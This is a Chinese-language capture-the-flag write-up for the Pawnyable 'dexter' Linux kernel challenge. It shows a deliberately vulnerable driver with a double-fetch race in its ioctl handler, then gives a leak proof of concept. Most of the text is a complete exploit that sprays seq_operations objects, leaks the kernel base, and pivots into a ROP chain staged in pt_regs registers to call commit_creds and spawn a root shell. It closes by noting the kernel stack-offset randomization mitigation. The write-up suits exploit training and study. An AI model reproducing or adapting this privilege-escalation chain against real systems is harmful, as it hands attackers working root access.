原文
Linux Kernel PWN | 040302 Pawnyable之双取
Double Fetch
题目下载
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Dexter - Vulnerable Kernel Driver for Pawnyable");
#define DEVICE_NAME "dexter"
#define BUFFER_SIZE 0x20
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
typedef struct {
char *ptr;
size_t len;
} request_t;
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
return 0;
}
static int module_close(struct inode *inode, struct file *filp) {
kfree(filp->private_data);
return 0;
}
int verify_request(void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -1;
if (!req.ptr || req.len > BUFFER_SIZE)
return -1;
return 0;
}
long copy_data_to_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_to_user(req.ptr, filp->private_data, req.len))
return -EINVAL;
return 0;
}
long copy_data_from_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_from_user(filp->private_data, req.ptr, req.len))
return -EINVAL;
return 0;
}
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
if (verify_request((void*)arg))
return -EINVAL;
switch (cmd) {
case CMD_GET: return copy_data_to_user(filp, (void*)arg);
case CMD_SET: return copy_data_from_user(filp, (void*)arg);
default: return -EINVAL;
}
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.open = module_open,
.release = module_close,
.unlocked_ioctl = module_ioctl
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
漏洞点如下:
strcut request_t *
是一个指针verify_request
,会将strcut request_t *
指针的内容,从用户态拷贝到内核态进行检查,这个没有问题verify_request
验证成功之后,在执行copy_data_to_user
和copy_data_from_user
时,还是通过strcut request_t *
从用户态复制数据,这就导致在verify_request
函数中copy_from_user
执行之后,在copy_data_from_user
函数 copy_from_user
执行之前可以修改用户态中struct reuqest
的值,从而是verify_request
检测无效poc如下
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
void fatal(char *msg) {
perror(msg);
exit(-1);
}
typedef struct {
char *ptr;
size_t len;
} request_t;
int fd;
request_t req;
int race_win = 0;
int set(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_GET, &req);
}
void *race(void *arg) {
puts("[*] trying to set req.len to 0x100");
while (!race_win) {
req.len = 0x100;
usleep(1);
}
return NULL;
}
int main() {
fd = open("/dev/dexter", O_RDWR);
if (fd == -1)
fatal("/dev/dexter");
char buf[0x100] = {0};
char zero[0x100] = {0};
pthread_t th;
pthread_create(&th, NULL, race, NULL);
puts("[*] trying to read 0x20 from /dev/dexter");
while (!race_win) {
get(buf, 0x20);
if (memcmp(buf, zero, 0x100) != 0) {
puts("[+] reached race condition");
race_win = 1;
break;
}
}
pthread_join(th, NULL);
puts("[+] more than 0x20 data is leaked:");
for (int i = 0; i < 0x100; i += 8)
printf("%02x: 0x%016lx\n", i, *(unsigned long *)&buf[i]);
close(fd);
return 0;
}
由于本题中,可通过Double-Fetch利用的堆对象在 kmalloc-32中
#define BUFFER_SIZE 0x20
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
可通过open("/proc/self/stat", O_RDONLY)
堆喷struct seq_operations
结构体,填充到kmalloc-32 slab中
int fd_staa = open("/proc/self/stat", O_RDONLY);
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
通过read系统调用会触发 seq_operations->start,但是read系统调用传递的参数无法传递给 seq_operations->start
在系统调用进入内核态时,会将用户态的寄存器,保存在内核态的struct pt_regs
结构体中,该结构体位于内核栈的栈底
可通过在用户态的寄存器中布局rop,再通过seq_operations->start
实现栈迁移到pt_regs处,实现提权
关于怎么从seq_operations->start栈迁移到pt_regs处
,对于本题,可以通过调试,在seq_operations->start
触发前,观察当前rsp
到栈底部pt_regs
首部的偏移,再通过类似add rsp number; xxx; xxx; ret;
跳转到pt_regs首部
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SPRAY_NUM 200
#define VUL_BUF_LEN 0x20
#define BUF_LEN 0x40
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define ofs_seq_ops_start 0x170f80
#define add_rsp_0x140_pop6_ret (kbase + 0x0bf813)
void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12;
uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab;
uint64_t prepare_kernel_cred = 0x0729b0;
uint64_t commit_creds = 0x072810;
uint64_t pop_rdi_ret = 0x29033c;
//uint64_t pop_rax_ret = 0x1366ca;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t pop_rbx_ret = 0x290240;
unsigned long kbase;
unsigned long g_buf;
typedef struct {
char *ptr;
size_t len;
} request_t;
int fd;
int tmp_fd;
request_t req;
int race_win = 0;
void fatal(char *msg) {
perror(msg);
exit(-1);
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int set(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_GET, &req);
}
void *race(void *arg) {
printf("[*] trying to set req.len to 0x%lx\n", (size_t)arg);
while (!race_win) {
req.len = (size_t)arg;
usleep(1);
}
return NULL;
}
void oob_read(char *buf, size_t len) {
char *zero = (char *)malloc(len);
pthread_t th;
pthread_create(&th, NULL, race, (void *)len);
puts("[*] trying to achieve OOB read");
memset(buf, 0, len);
memset(zero, 0, len);
while (!race_win) {
get(buf, VUL_BUF_LEN);
if (memcmp(buf, zero, len) != 0) {
race_win = 1;
break;
}
}
pthread_join(th, NULL);
printf("[+] achieved OOB read (0x%lx bytes)\n", len);
race_win = 0;
free(zero);
}
void oob_write(char *buf, size_t len) {
puts("[*] trying to achieve OOB write");
pthread_t th;
char *tmp = (char *)malloc(len);
while (1) {
pthread_create(&th, NULL, race, (void *)len);
for (int i = 0; i < 0x10000; i++)
set(buf, VUL_BUF_LEN);
race_win = 1;
pthread_join(th, NULL);
race_win = 0;
oob_read(tmp, len);
if (memcmp(tmp, buf, len) == 0)
break;
}
printf("[+] achieved OOB write (0x%lx bytes)\n", len);
free(tmp);
}
int main() {
char buf[BUF_LEN];
char temp[0x20] = {0};
int spray[SPRAY_NUM];
printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM - 1; i++) {
spray[i] = open("/proc/self/stat", O_RDONLY);
if (spray[i] == -1)
perror("open");
}
printf("[+] /dev/dexter opened\n");
fd = open("/dev/dexter", O_RDWR);
if (fd == -1)
fatal("/dev/dexter");
spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY);
oob_read(buf, BUF_LEN);
printf("[*] leaking kernel base with seq_operations\n");
kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
swapgs_restore_regs_and_return_to_usermode += kbase;
mov_rdi_rax_rep_movsq_ret += kbase;
prepare_kernel_cred += kbase;
commit_creds += kbase;
pop_rdi_ret += kbase;
pop_rbx_ret += kbase;
pop_rcx_ret += kbase;
*(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret;
oob_write(buf, BUF_LEN);
// https://www.anquanke.com/post/id/260055
tmp_fd = spray[SPRAY_NUM - 1];
__asm__(".intel_syntax noprefix;"
"mov r15, pop_rdi_ret;"
"mov r14, 0x0;"
"mov r13, prepare_kernel_cred;"
"mov r12, pop_rcx_ret;"
"mov rbp, 0x0;"
"mov rbx, pop_rbx_ret;"
"mov r11, 0xbbbbbbbb;"
"mov r10, mov_rdi_rax_rep_movsq_ret;"
"mov r9, commit_creds;"
"mov r8, swapgs_restore_regs_and_return_to_usermode;"
"xor rax, rax;" // 系统调用号
"mov rdx, 0x8;" // 参数3
"mov rsi, rsp;" // 参数2
"mov rdi, tmp_fd;" // 参数1 tmp_fd = open("/proc/self/stat")
"syscall;"
".att_syntax");
spawn_shell();
close(fd);
return 0;
}
来源自这里
正所谓魔高一尺道高一丈,内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y (默认开启)
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了, 可以说这种利用方式基本上是废了